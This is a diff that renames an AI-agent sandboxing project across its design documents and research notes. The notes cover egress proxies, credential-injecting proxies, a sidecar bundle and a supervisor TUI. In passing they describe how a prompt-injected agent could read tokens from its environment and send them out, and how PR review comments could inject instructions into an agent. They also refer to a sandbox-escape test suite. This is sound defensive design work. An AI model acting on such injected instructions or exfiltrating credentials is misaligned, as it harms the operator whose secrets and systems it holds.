`claude_bottle/backend/__init__.py`: +In `bot_bottle/backend/__init__.py`: ```python from .docker import DockerBottleBackend @@ -508,7 +508,7 @@ The existing "unknown backend" `die()` path stays as-is. (egress's port) is refused — confirming the bundle-internal bind of egress to `127.0.0.1` works as the port-granularity layer TSI doesn't provide. -- **PRD 0022 re-run:** with `CLAUDE_BOTTLE_BACKEND=smolmachines`, +- **PRD 0022 re-run:** with `BOT_BOTTLE_BACKEND=smolmachines`, all five attack categories return sandbox-block markers and the suite passes. The test code does not change beyond the env-var flip — that's the contract the PRD 0022 abstraction was @@ -517,7 +517,7 @@ The existing "unknown backend" `die()` path stays as-is. ## Sizing — into chunks PRD 0024's bundle image is a prerequisite — this PRD assumes -`claude-bottle-sidecars:` is available when chunk 3 lands. +`bot-bottle-sidecars:` is available when chunk 3 lands. 1. **Backend skeleton + selection + Smolfile/gvproxy renderers.** *Shipped (PR #62), but under the now-rejected gvproxy design.* @@ -598,7 +598,7 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes enumerate active bottles (`list_active` queries the daemon). The microVM enumeration story is `smolvm machine ls --json`; the plan is to filter on a deterministic name prefix - `claude-bottle-` + cross-reference with on-disk metadata + `bot-bottle-` + cross-reference with on-disk metadata under `state//`. 8. **Loopback scoping (Docker Desktop pivot).** The original design pinned the bundle at a docker bridge IP and set TSI's @@ -667,5 +667,5 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes needed to exercise the smolmachines path. - PRD 0024 (`docs/prds/0024-consolidate-sidecar-bundle.md`) — defines the - single bundle image (`claude-bottle-sidecars`) this PRD + single bundle image (`bot-bottle-sidecars`) this PRD consumes. Prerequisite for chunk 3 of this PRD. diff --git a/docs/prds/0024-consolidate-sidecar-bundle.md b/docs/prds/0024-consolidate-sidecar-bundle.md index 6ebf385..2df249f 100644 --- a/docs/prds/0024-consolidate-sidecar-bundle.md +++ b/docs/prds/0024-consolidate-sidecar-bundle.md @@ -8,7 +8,7 @@ Replace the four per-bottle sidecar containers in the Docker backend (pipelock, egress, git-gate, supervise) with a single -container image — `claude-bottle-sidecars` — that runs all four +container image — `bot-bottle-sidecars` — that runs all four daemons under a small stdlib-Python init supervisor. Same per-bottle lifetime, same scope, fewer containers per bottle, one Dockerfile to maintain instead of three. Outcome: the @@ -64,7 +64,7 @@ The feature works when all of the following are observable: speak the same protocols on the same well-known in-container ports as before; only the container hostname changes. - The sandbox-escape suite from PRD 0022 stays green. -- `docker logs claude-bottle-sidecars-` shows interleaved +- `docker logs bot-bottle-sidecars-` shows interleaved output from all four daemons, prefixed by the supervisor with the daemon name. Each daemon's exit propagates through the supervisor to the container's exit code. @@ -77,18 +77,18 @@ The feature is **done** when all of the following ship: - A new `Dockerfile.sidecars` (multi-stage) that: - Copies the `pipelock` binary from the upstream pipelock image (currently `ghcr.io/luckypipewrench/pipelock` pinned - by digest in `claude_bottle/backend/docker/pipelock.py`). + by digest in `bot_bottle/backend/docker/pipelock.py`). - Copies the `gitleaks` binary from `zricethezav/gitleaks` (currently pinned by digest in `Dockerfile.git-gate`). - Installs `mitmdump` (via `pip install mitmproxy==`). - Installs the system deps `git-daemon` + `openssh-client` that git-gate needs. - Copies the existing addon + server Python from - `claude_bottle/egress_addon.py`, `egress_addon_core.py`, + `bot_bottle/egress_addon.py`, `egress_addon_core.py`, `yaml_subset.py`, `supervise.py`, `supervise_server.py`. - - Drops in a new `claude_bottle/sidecar_init.py` (stdlib + - Drops in a new `bot_bottle/sidecar_init.py` (stdlib Python) as the container's `ENTRYPOINT`. -- A new `claude_bottle/sidecar_init.py` — a small Python init +- A new `bot_bottle/sidecar_init.py` — a small Python init supervisor that: - Reads which daemons to run from env (defaults: all four). - Spawns each as a `subprocess.Popen` with prefixed @@ -99,13 +99,13 @@ The feature is **done** when all of the following ship: - Exits with code 0 only if every child exited 0; otherwise exits 1. (Or: any-child-died → tear down the rest and exit that child's code — see open question 2.) -- `claude_bottle/backend/docker/compose.py` renderer updated to +- `bot_bottle/backend/docker/compose.py` renderer updated to emit one `sidecars` service in place of the four. The four in-container ports (8888 / 9099 / 9418 / 9100, today) all land on the same container; the agent-facing ports (HTTPS_PROXY, git-gate-SSH, supervise-MCP) are published as before, just from one container instead of three. -- `claude_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py` +- `bot_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py` collapsed: the platform-neutral pieces stay (`PipelockProxy`, `Egress`, `GitGate`, `Supervise` ABCs and their plans), the docker-specific subclasses lose their @@ -161,7 +161,7 @@ The feature is **done** when all of the following ship: - New `Dockerfile.sidecars` (multi-stage) bringing pipelock, mitmproxy, gitleaks, git-daemon, openssh-client, and the project's addon + server Python into one image. -- New `claude_bottle/sidecar_init.py` supervising the four +- New `bot_bottle/sidecar_init.py` supervising the four daemons. - `backend/docker/compose.py` renderer collapse (five services → two). @@ -217,12 +217,12 @@ RUN apt-get update \ && rm -rf /var/lib/apt/lists/* # Drop in the project's Python addon + server code -COPY claude_bottle/egress_addon_core.py /app/egress_addon_core.py -COPY claude_bottle/egress_addon.py /app/egress_addon.py -COPY claude_bottle/yaml_subset.py /app/yaml_subset.py -COPY claude_bottle/supervise.py /app/supervise.py -COPY claude_bottle/supervise_server.py /app/supervise_server.py -COPY claude_bottle/sidecar_init.py /app/sidecar_init.py +COPY bot_bottle/egress_addon_core.py /app/egress_addon_core.py +COPY bot_bottle/egress_addon.py /app/egress_addon.py +COPY bot_bottle/yaml_subset.py /app/yaml_subset.py +COPY bot_bottle/supervise.py /app/supervise.py +COPY bot_bottle/supervise_server.py /app/supervise_server.py +COPY bot_bottle/sidecar_init.py /app/sidecar_init.py # Pull the standalone binaries into the final stage COPY --from=pipelock-src /usr/local/bin/pipelock /usr/local/bin/pipelock @@ -252,7 +252,7 @@ existing Dockerfiles. ### Init supervisor -`claude_bottle/sidecar_init.py` (sketch — actual code lands as +`bot_bottle/sidecar_init.py` (sketch — actual code lands as part of implementation): ```python @@ -287,7 +287,7 @@ of the four. The service inherits the union of the four's existing bind mounts; environment variables get prefixed by daemon name where they clash (none clash today, but the renderer becomes the central place to enforce that). Container hostname -becomes `sidecars` (or `claude-bottle-sidecars-` for the +becomes `sidecars` (or `bot-bottle-sidecars-` for the externally-visible name). The agent service's HTTPS_PROXY and git-gate URL move from per-sidecar hostnames to the single `sidecars` hostname: @@ -301,9 +301,9 @@ services: GIT_GATE_URL: "git://git-gate:9418/repo" MCP_SUPERVISE_URL: "http://supervise:9100" pipelock: { image: ghcr.io/luckypipewrench/pipelock:... } - egress: { image: claude-bottle-egress:latest } - git-gate: { image: claude-bottle-git-gate:latest } - supervise:{ image: claude-bottle-supervise:latest } + egress: { image: bot-bottle-egress:latest } + git-gate: { image: bot-bottle-git-gate:latest } + supervise:{ image: bot-bottle-supervise:latest } # After (two services) services: @@ -313,7 +313,7 @@ services: GIT_GATE_URL: "git://sidecars:9418/repo" MCP_SUPERVISE_URL: "http://sidecars:9100" sidecars: - image: claude-bottle-sidecars: + image: bot-bottle-sidecars: # union of the four prior services' volumes / env / ports ``` @@ -321,7 +321,7 @@ services: ### Backend Python collapse -The four `claude_bottle/backend/docker/.py` files keep +The four `bot_bottle/backend/docker/.py` files keep their platform-neutral abstractions (proxy/plan classes) but shed the docker-container-lifecycle code that compose-up already owns. Container-name helpers consolidate: @@ -335,7 +335,7 @@ def supervise_container_name(slug): ... # becomes: def sidecar_bundle_container_name(slug: str) -> str: - return f"claude-bottle-sidecars-{slug}" + return f"bot-bottle-sidecars-{slug}" ``` Per-daemon "is the container up?" helpers used by orphan @@ -356,7 +356,7 @@ This PRD's change is large but mechanical. A pre-merge dry-run: and the resulting container runs all four daemons. 2. Switch the renderer to emit the two-service shape behind an env-var feature flag (e.g. - `CLAUDE_BOTTLE_SIDECAR_BUNDLE=1`). + `BOT_BOTTLE_SIDECAR_BUNDLE=1`). 3. Update integration tests in-place; flip the default once green; delete the flag and the old Dockerfiles in a follow-up commit on the same branch. @@ -379,7 +379,7 @@ rewrite. 3. **Backend Python collapse.** Drop the vestigial per-container `.start()` / `.stop()` methods from `DockerPipelockProxy`, `DockerEgress`, `DockerGitGate`, `DockerSupervise` (and from - the ABCs in `claude_bottle/{pipelock,egress,git_gate,supervise}.py`). + the ABCs in `bot_bottle/{pipelock,egress,git_gate,supervise}.py`). These were already documented as vestigial in PRD 0018 ch3. Strip vestigial sidecar-instance parameters from `launch.launch()` and `prepare.resolve_plan()`. Delete the @@ -419,10 +419,10 @@ rewrite. is signal-killed (negative returncode) so the max is 0; a crashed-before-signal daemon's nonzero code wins and reaches the operator on container exit. -3. **Image pin policy.** Pin `claude-bottle-sidecars` by tag +3. **Image pin policy.** Pin `bot-bottle-sidecars` by tag (`:latest` rebuilt per-release) or by digest written into a - `CLAUDE_BOTTLE_SIDECAR_IMAGE` env var like the existing - `CLAUDE_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override + `BOT_BOTTLE_SIDECAR_IMAGE` env var like the existing + `BOT_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override + a documented tag; digest pinning is an operator opt-in. 4. **Healthcheck aggregation.** Today each sidecar service has its own compose healthcheck and `agent.depends_on: @@ -448,9 +448,9 @@ rewrite. - `Dockerfile.egress`, `Dockerfile.git-gate`, `Dockerfile.supervise` — the three Dockerfiles this PRD collapses into `Dockerfile.sidecars`. -- `claude_bottle/backend/docker/compose.py` — the renderer this +- `bot_bottle/backend/docker/compose.py` — the renderer this PRD slims down. -- `claude_bottle/backend/docker/pipelock.py` — current home of +- `bot_bottle/backend/docker/pipelock.py` — current home of `PIPELOCK_IMAGE` and the pinned digest the bundle's first stage reuses. - PRD 0017 diff --git a/docs/prds/0025-bottle-extends.md b/docs/prds/0025-bottle-extends.md index a5d4c1e..aa83cfe 100644 --- a/docs/prds/0025-bottle-extends.md +++ b/docs/prds/0025-bottle-extends.md @@ -28,7 +28,7 @@ silently absent from `staging` until someone notices. Issue #88 proposed inlining a `bottle_config:` block in agent files that would merge with (and override) the referenced bottle. That -design lets a `$CWD/.claude-bottle/agents/.md` file from a +design lets a `$CWD/.bot-bottle/agents/.md` file from a cloned repo redeclare egress routes, env mappings, and git remotes — breaking the existing security model where bottles are `$HOME`-only specifically so cloned repos can't influence them @@ -93,7 +93,7 @@ egress: `extends:` is a string — the name of another bottle (without the `.md`). Required to be one of the bottles loaded from -`$HOME/.claude-bottle/bottles/`. Self-reference (`extends: self` +`$HOME/.bot-bottle/bottles/`. Self-reference (`extends: self` in `self.md`) and longer cycles die at parse. ### Merge rules @@ -163,7 +163,7 @@ the full chain so operators can find the offending file. ### Trust boundary preservation -Bottles continue to be loaded from `$HOME/.claude-bottle/bottles/` +Bottles continue to be loaded from `$HOME/.bot-bottle/bottles/` only (`Manifest.from_md_dirs` is unchanged). The `extends:` field references another file in that same directory. No cwd-readable file gains the ability to declare or modify bottle config — the diff --git a/docs/prds/0026-agent-provider-templates.md b/docs/prds/0026-agent-provider-templates.md index 9f0f0b6..06336f1 100644 --- a/docs/prds/0026-agent-provider-templates.md +++ b/docs/prds/0026-agent-provider-templates.md @@ -10,7 +10,7 @@ Support Claude and Codex agent providers while keeping agent files provider-agno ## Problem -Today claude-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices. +Today bot-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices. ## Goals / Success Criteria @@ -24,7 +24,7 @@ Today claude-bottle is hard-wired around Claude Code assumptions. When Claude ru - Do not implement support for providers beyond Claude and Codex. - Do not move security boundaries into agent files. -- Do not allow custom Dockerfiles to remove or bypass required claude-bottle infrastructure. +- Do not allow custom Dockerfiles to remove or bypass required bot-bottle infrastructure. - Do not add new runtime dependencies unless the existing Docker/Codex tooling cannot satisfy the minimum cut. ## Scope @@ -63,7 +63,7 @@ agent_provider: ### Existing code touched -- `claude_bottle/manifest.py` for provider schema and role validation. +- `bot_bottle/manifest.py` for provider schema and role validation. - Docker and smolmachines prepare/launch/provision paths for provider-specific image, command, auth, and state behavior. - Dashboard/start display paths so the selected provider is visible and usable. - README and PRD docs for provider/template configuration. diff --git a/docs/research/agent-credential-proxy-landscape.md b/docs/research/agent-credential-proxy-landscape.md index 98a9d1e..63ddaa5 100644 --- a/docs/research/agent-credential-proxy-landscape.md +++ b/docs/research/agent-credential-proxy-landscape.md @@ -3,7 +3,7 @@ Consolidated research on running an auth-header-injecting proxy in front of an AI agent so API tokens stay out of the agent's process space. Folds in the per-service mechanics for the Anthropic OAuth -token and the Gitea PAT — the two cases claude-bottle hits first — +token and the Gitea PAT — the two cases bot-bottle hits first — and surveys existing tools as of May 2026. Companion to @@ -15,7 +15,7 @@ the biggest credential risk). ## Summary -Today every claude-bottle agent gets `CLAUDE_CODE_OAUTH_TOKEN` (and +Today every bot-bottle agent gets `CLAUDE_CODE_OAUTH_TOKEN` (and any `bottle.env` secrets like a Gitea PAT) injected as env vars, which means the agent process can read them with `printenv` or `/proc/self/environ`. A prompt-injected or hijacked agent can ship @@ -28,11 +28,11 @@ level via `ptrace_may_access`; a future smolmachines backend enforces it harder, at the VM line. Several existing tools implement this pattern, but none of them are -a clean drop-in for claude-bottle today: the most architecturally +a clean drop-in for bot-bottle today: the most architecturally aligned (nono) is alpha; the most mature open-source (Infisical Agent Vault) requires TLS MITM and would double up on pipelock's TLS-interception stack. For the Anthropic-token slice, a -small claude-bottle-specific reverse proxy modeled on the +small bot-bottle-specific reverse proxy modeled on the phantom-token shape is probably the right call. For Gitea / GitHub / GitLab, the same proxy generalizes by config. @@ -49,7 +49,7 @@ the caller's UID/GID don't match the target's and the caller lacks `CAP_SYS_PTRACE` or `CAP_PERFMON`. A `node`-uid claude attempting to read a root-owned proxy's environ gets `EACCES`. Escape hatches (`--cap-add=SYS_PTRACE`, `--cap-add=PERFMON`, `--privileged`) are -not used by claude-bottle. Yama `ptrace_scope` is irrelevant — it +not used by bot-bottle. Yama `ptrace_scope` is irrelevant — it only relaxes the *same-UID* relationship check; the cross-UID match requirement still blocks the read. On a smolmachines backend the boundary becomes the VM line; same property, harder. @@ -77,8 +77,8 @@ The remaining credible designs reduce to three: ### Anthropic / Claude Code -**Today's wiring** (`claude_bottle/cli/start.py`): the host's -`CLAUDE_BOTTLE_OAUTH_TOKEN` is forwarded into the bottle as +**Today's wiring** (`bot_bottle/cli/start.py`): the host's +`BOT_BOTTLE_OAUTH_TOKEN` is forwarded into the bottle as `CLAUDE_CODE_OAUTH_TOKEN` via `docker run -e CLAUDE_CODE_OAUTH_TOKEN` (no `=value`, so the value never lands on argv — good). Inside the bottle, claude runs as `node` (UID 1000) with @@ -128,7 +128,7 @@ never the token. A hijacked claude could exfil the captured token (or any other data) through any of these even with the proxy in place. Pair the proxy with an explicit egress allowlist for the full benefit - (claude-bottle does this via pipelock). + (bot-bottle does this via pipelock). - **Token refresh**: `claude setup-token` issues a ~1-year OAuth token with no client-side refresh, so a static proxy value is fine. The flip side is a one-year blast radius if the token leaks @@ -138,7 +138,7 @@ never the token. rewriting is safe. - **`--bare` mode** reads only `ANTHROPIC_API_KEY`, not `CLAUDE_CODE_OAUTH_TOKEN`. Not relevant to the interactive flow - claude-bottle ships, but worth noting if `--bare` is ever wired in. + bot-bottle ships, but worth noting if `--bare` is ever wired in. ### Gitea (`tea` + git HTTPS) @@ -191,7 +191,7 @@ mitigation. Either composes cleanly with the same proxy. ## Proxy architectures Four shapes worth comparing. The first is the lowest-friction -match for claude-bottle today. +match for bot-bottle today. | Shape | Pros | Cons | |---|---|---| @@ -200,7 +200,7 @@ match for claude-bottle today. | **Host-side proxy** | Token stays entirely outside the Linux VM. This is the Docker AI Sandbox shape. | A host daemon to maintain; the published port is reachable by any container on the host unless firewalled. UDS-across-VM doesn't work on Docker Desktop on macOS (no AF_UNIX `connect()` over the VM), but `host.docker.internal:` over TCP works fine. | | **Sidecar container** | Clean isolation; portable across hosts. Matches the existing pipelock / ssh-gate / git-gate topology. | Another container to orchestrate per agent; the token is in another container's env, which is a lateral move unless the sidecar runs with stricter isolation than the agent container does. | -For claude-bottle today — local Docker, per-agent containers, the +For bot-bottle today — local Docker, per-agent containers, the root-owned-helper pattern already established by the SSH agent — the **in-container reverse proxy** is the lowest-friction option that gives the desired property. The sidecar-container shape is @@ -214,7 +214,7 @@ Two categories: - **A. Generic LLM / API gateways** that happen to support credential injection as a side feature. - **B. Purpose-built agent credential brokers** — newer, closer to - what claude-bottle wants. + what bot-bottle wants. | Tool | Category | License | Topology | Injection mechanism | `ANTHROPIC_BASE_URL` compatible | Per-route allowlist | Maturity | |---|---|---|---|---|---|---|---| @@ -235,7 +235,7 @@ Two categories: ### Cluster commentary - **The phantom-token pattern** (nono) is the cleanest architectural - fit for claude-bottle. The agent receives a per-session + fit for bot-bottle. The agent receives a per-session cryptographically random token scoped to the localhost proxy; the proxy validates and swaps for the real upstream credential. No TLS interception, no CA trust setup, works directly with @@ -275,7 +275,7 @@ is a bet on the project rather than a buy-vs-build win. **Most mature OSS purpose-built:** Infisical Agent Vault. MIT, v0.19.0 active, v0.17.0 added a containerized agent mode that -maps directly to claude-bottle. Friction is the TLS-MITM topology +maps directly to bot-bottle. Friction is the TLS-MITM topology — another container-local CA, the Go-loopback workaround, duplication with pipelock's existing TLS interception layer. diff --git a/docs/research/agent-sandbox-landscape.md b/docs/research/agent-sandbox-landscape.md index b82621c..10802a7 100644 --- a/docs/research/agent-sandbox-landscape.md +++ b/docs/research/agent-sandbox-landscape.md @@ -4,13 +4,13 @@ A broader survey than [`landscape-containerized-claude.md`](landscape-containeri which focused on Claude-Code-specific containerizers. This one covers general AI-agent sandbox / containment projects — some Claude-specific, some agent-agnostic, some hosted SaaS — and contrasts them with -claude-bottle's design. +bot-bottle's design. Research conducted 2026-05-11. ## Summary -Eight projects surveyed. None duplicate claude-bottle's combination of +Eight projects surveyed. None duplicate bot-bottle's combination of local Docker, declarative JSON manifest, per-agent egress allowlist via pipelock, and bottle/agent split. Two clusters stand out: @@ -157,7 +157,7 @@ plausible without a heavy stack. ## Comparison table -| Axis | claude-bottle | endo-familiar | litterbox | agent-safehouse | matchlock | tilde.run | boxlite | microsandbox | smolmachines | +| Axis | bot-bottle | endo-familiar | litterbox | agent-safehouse | matchlock | tilde.run | boxlite | microsandbox | smolmachines | |---|---|---|---|---|---|---|---|---|---| | Isolation | Docker + internal net + pipelock; gVisor if present | Object-capability (no OS isolation) | Podman + opt. Landlock | macOS `sandbox-exec` | MicroVM (Firecracker / Virt.fw) | Hosted container (unverified) | MicroVM (KVM / Hypervisor.fw) | MicroVM (libkrun) | MicroVM (libkrun / KVM) | | Local vs hosted | Local | Local | Local (Linux) | Local (macOS) | Local | Hosted SaaS | Local | Local | Local | @@ -171,9 +171,9 @@ plausible without a heavy stack. ## What's closest, what's different **Closest in design and scope.** agent-safehouse and litterbox sit -nearest claude-bottle: local, single-user, thin wrappers over an +nearest bot-bottle: local, single-user, thin wrappers over an existing OS primitive, low-dep. The split is the isolation primitive — -claude-bottle uses Docker + pipelock egress (plus gVisor where +bot-bottle uses Docker + pipelock egress (plus gVisor where available); agent-safehouse uses `sandbox-exec`; litterbox uses Podman + Landlock. matchlock and smolmachines are spiritually close on the *policy* side (default-deny net, per-host allowlist) but use microVMs @@ -181,16 +181,16 @@ instead of containers. **Solving a different problem.** tilde.run is hosted SaaS for team / production agent pipelines with data-versioned rollback — explicitly -opposite to claude-bottle's "infrastructure I control" goal. boxlite and +opposite to bot-bottle's "infrastructure I control" goal. boxlite and microsandbox are infrastructure libraries aimed at platform builders embedding sandboxes into agent frameworks; they would be a *backend* -claude-bottle could call, not a competitor to its manifest layer. +bot-bottle could call, not a competitor to its manifest layer. endo-familiar is in a different paradigm entirely: capability passing rather than kernel boundaries. ## Borrowable ideas -What claude-bottle already has that the survey suggested as +What bot-bottle already has that the survey suggested as differentiators: - Default-deny egress with a per-agent allowlist (pipelock). - DLP scanning of outbound traffic. diff --git a/docs/research/apple-container-backend.md b/docs/research/apple-container-backend.md index d41c0f5..adb061b 100644 --- a/docs/research/apple-container-backend.md +++ b/docs/research/apple-container-backend.md @@ -24,26 +24,26 @@ which version you want before starting. ## Current Docker surface area -The places claude-bottle shells out to `docker` today: +The places bot-bottle shells out to `docker` today: - `build` — base image plus a per-cwd derived image - (`claude_bottle/docker.py:67-103`). + (`bot_bottle/docker.py:67-103`). - `run` — with `--runtime`, `--env-file`, `-e`, `--name`, `--network`, - and volume mounts (`claude_bottle/cli/start.py:217-261`). + and volume mounts (`bot_bottle/cli/start.py:217-261`). - `exec -it` / `exec -u 0` — for `claude` itself, file-ownership fixups, - and SSH provisioning (`claude_bottle/ssh.py`, `claude_bottle/skills.py`, - `claude_bottle/cli/start.py`). + and SSH provisioning (`bot_bottle/ssh.py`, `bot_bottle/skills.py`, + `bot_bottle/cli/start.py`). - `cp` — skills, SSH keys, the prompt file, the workspace `.git`, and the pipelock config - (`claude_bottle/skills.py:73`, `claude_bottle/ssh.py:106`, - `claude_bottle/cli/start.py:279`, `claude_bottle/pipelock.py:218`). + (`bot_bottle/skills.py:73`, `bot_bottle/ssh.py:106`, + `bot_bottle/cli/start.py:279`, `bot_bottle/pipelock.py:218`). - `network create` / `connect` / `inspect` / `rm` — bottle network plus multi-network attach for the pipelock sidecar - (`claude_bottle/network.py`, `claude_bottle/pipelock.py:227`). + (`bot_bottle/network.py`, `bot_bottle/pipelock.py:227`). - `create` / `start` / `rm -f` — pipelock sidecar lifecycle - (`claude_bottle/pipelock.py:207-258`). + (`bot_bottle/pipelock.py:207-258`). - Misc preflight: `image inspect`, `ps -a -f name=^...$`, `info` for - registered runtimes (`claude_bottle/docker.py`). + registered runtimes (`bot_bottle/docker.py`). ## Mapping to Apple's `container` @@ -60,10 +60,10 @@ The places claude-bottle shells out to `docker` today: Roughly two weeks for one person, split as: -1. **Backend abstraction (1–2 days).** `claude_bottle/docker.py` is - already a partial seam, but `claude_bottle/network.py`, - `claude_bottle/pipelock.py`, `claude_bottle/ssh.py`, - `claude_bottle/skills.py`, and `claude_bottle/cli/start.py` all call +1. **Backend abstraction (1–2 days).** `bot_bottle/docker.py` is + already a partial seam, but `bot_bottle/network.py`, + `bot_bottle/pipelock.py`, `bot_bottle/ssh.py`, + `bot_bottle/skills.py`, and `bot_bottle/cli/start.py` all call `subprocess.run(["docker", ...])` directly. Define a `Backend` protocol — `run`, `exec`, `cp`, `build`, `network_create`, `network_connect`, `inspect`, `rm` — route every call through it, diff --git a/docs/research/bash-vs-python-vs-go.md b/docs/research/bash-vs-python-vs-go.md index 292e8d4..c953a40 100644 --- a/docs/research/bash-vs-python-vs-go.md +++ b/docs/research/bash-vs-python-vs-go.md @@ -1,6 +1,6 @@ # Implementation language: bash vs. Python vs. Go -Research into which runtime claude-bottle should be implemented in, given +Research into which runtime bot-bottle should be implemented in, given where the project is today (~1250 lines, Python, mostly orchestration of `docker` / `flyctl` / `ssh`). The project started in bash and was rewritten to Python; this note evaluates whether either of the other two options @@ -10,7 +10,7 @@ would be a better fit going forward. Stay on Python. Switch to Go if and when distribution friction becomes the dominant pain — i.e., when bug reports about Python interpreter / venv -behavior start outweighing bug reports about claude-bottle itself. Bash is +behavior start outweighing bug reports about bot-bottle itself. Bash is not the right tool at the project's current size; reverting would be a regression. @@ -54,7 +54,7 @@ The relevant criteria, in roughly the order they bite: ## Bash -Right tool *if the project stays under ~500 lines*. claude-bottle has +Right tool *if the project stays under ~500 lines*. bot-bottle has already crossed that threshold (~1250 lines), and the orchestration is no longer "stitch CLIs together" — it has manifest validation, env-var resolution, network and sidecar lifecycle, and SSH provisioning. Bash @@ -119,7 +119,7 @@ Costs: Stay on Python. The signal to watch for, before reconsidering, is bug reports about Python interpreter or venv behavior outnumbering bug reports -about claude-bottle's actual logic. Until that pattern shows up, the Go +about bot-bottle's actual logic. Until that pattern shows up, the Go rewrite isn't paying for itself. Independent of language: invest in the backend abstraction now. A clean diff --git a/docs/research/built-in-supervisor-design.md b/docs/research/built-in-supervisor-design.md index 7da623d..4ddd2aa 100644 --- a/docs/research/built-in-supervisor-design.md +++ b/docs/research/built-in-supervisor-design.md @@ -2,13 +2,13 @@ ## Question -Can claude-bottle grow a built-in supervisor — TUI inventory plus PR-feedback routing — without breaking the per-bottle isolation model, and without departing from the Python-stdlib-first, low-dependency posture? +Can bot-bottle grow a built-in supervisor — TUI inventory plus PR-feedback routing — without breaking the per-bottle isolation model, and without departing from the Python-stdlib-first, low-dependency posture? ## Context -claude-bottle today is a fleet *executor*: `./cli.py start ` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand. +bot-bottle today is a fleet *executor*: `./cli.py start ` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand. -A separate survey of the broader ecosystem ([agent control dashboards research, mid-2026](https://gitea.dideric.is/didericis/consilium-research/src/branch/main/developer-workflow/agent-control-dashboards-2026-05-24.md)) sorts dashboards into five tiers (session managers, parallel runners, Kanban boards, mission-control SPAs, observability backends). The earlier first-pass conclusion was that a full SPA tier conflicts with claude-bottle's isolation model. This doc reconsiders the smaller question: a TUI supervisor in the existing Python CLI. +A separate survey of the broader ecosystem ([agent control dashboards research, mid-2026](https://gitea.dideric.is/didericis/consilium-research/src/branch/main/developer-workflow/agent-control-dashboards-2026-05-24.md)) sorts dashboards into five tiers (session managers, parallel runners, Kanban boards, mission-control SPAs, observability backends). The earlier first-pass conclusion was that a full SPA tier conflicts with bot-bottle's isolation model. This doc reconsiders the smaller question: a TUI supervisor in the existing Python CLI. ## What I got wrong the first time @@ -75,7 +75,7 @@ A few design defaults worth holding: - **No auto-respawn.** The supervisor surfaces PR feedback to a human, never to the bottle's next prompt. The autonomous flow (review-comment → tear down → relaunch with the comment prepended) was considered and rejected: in a public-ish repo, any commenter could inject content that the next launch would treat as system instructions, with the agent's full bottle privileges. Available mitigations — commenter allowlists, prompt-injection regex screens, private-repo defaults — are all soft. The load-bearing defense is to keep the human between the review comment and any agent prompt. Notify-only is the only mode. - **Idle detection is harder than it looks.** Last-log-line-age works ~80% of the time. Codeman's Ralph Loop tracker (watching for `` tags) is more accurate but adds complexity and tooling-coupling. Start with the dumb version; add heuristics only when actual confusion arises. - **No web UI.** A browser UI reintroduces the privileged-channel problem — the browser talks to a server that talks to all bottles. TUI sidesteps it because the supervisor runs in the user's own shell context, not as a long-running daemon serving multiple consumers. -- **State file in `~/.claude-bottle/`, not inside any bottle.** The mapping of bottle → PR → status lives next to the manifest. Nothing about the supervisor's bookkeeping enters a bottle. +- **State file in `~/.bot-bottle/`, not inside any bottle.** The mapping of bottle → PR → status lives next to the manifest. Nothing about the supervisor's bookkeeping enters a bottle. - **No new credentials on bottles.** PR-watch is a host-side concern. A bottle's manifest *names* the upstream/branch to watch; it does not grant the bottle the ability to read PR state itself. ## Trust-model edge cases worth flagging @@ -91,6 +91,6 @@ Phased: `status` first (purely additive, no design decisions), then `watch` (the ## Conclusion -A supervisor that respects the bottle wall is a small natural extension of what claude-bottle already is, not a category shift toward Mission Control / Codeman / Composio AO. The mistake in earlier framing was treating "supervisor" as synonymous with "dashboard SPA." The trust-model question that disqualifies the SPA tier (privileged channel into every bottle) does not apply to a TUI that reads host-side signals and shells out to the existing CLI. +A supervisor that respects the bottle wall is a small natural extension of what bot-bottle already is, not a category shift toward Mission Control / Codeman / Composio AO. The mistake in earlier framing was treating "supervisor" as synonymous with "dashboard SPA." The trust-model question that disqualifies the SPA tier (privileged channel into every bottle) does not apply to a TUI that reads host-side signals and shells out to the existing CLI. Recommendation: build `status` and `watch` opportunistically when the pain is felt; treat `supervise` as a separate PRD before implementation, scoped to notify-only (no autonomous loop from review comment to next agent prompt — see "Where to be conservative"). diff --git a/docs/research/claude-code-pane-in-dashboard.md b/docs/research/claude-code-pane-in-dashboard.md index 84ea8fd..34ff51f 100644 --- a/docs/research/claude-code-pane-in-dashboard.md +++ b/docs/research/claude-code-pane-in-dashboard.md @@ -15,7 +15,7 @@ What's the cheapest path to that, and where does it bottom out? Today the flow is bimodal. `./cli.py start ` brings the bottle up and immediately drops you into an interactive -`docker exec -it claude-bottle- claude ...` — claude-code +`docker exec -it bot-bottle- claude ...` — claude-code owns the whole terminal until you Ctrl-D out, at which point the bottle tears down. The dashboard (`./cli.py dashboard`) is a *separate* invocation that watches across bottles but never @@ -68,7 +68,7 @@ Below are the actual costs. The dashboard sees a key (say Enter on a selected agent in the agents pane). It calls `curses.endwin()`, then `subprocess.run( -["docker", "exec", "-it", "claude-bottle-", "claude", +["docker", "exec", "-it", "bot-bottle-", "claude", "--dangerously-skip-permissions"])`. claude-code takes the terminal full-screen. When the operator exits claude-code (Ctrl-D, `/exit`), the subprocess returns; the dashboard calls @@ -192,7 +192,7 @@ want one focused session at a time with proposals visible. ## Option 3: External multiplexer The dashboard binds a key (e.g. `Enter` on agent) to -`tmux split-window -h 'docker exec -it claude-bottle- +`tmux split-window -h 'docker exec -it bot-bottle- claude'` when run inside a tmux session, or to `osascript`- driven iTerm pane spawning on macOS, or to 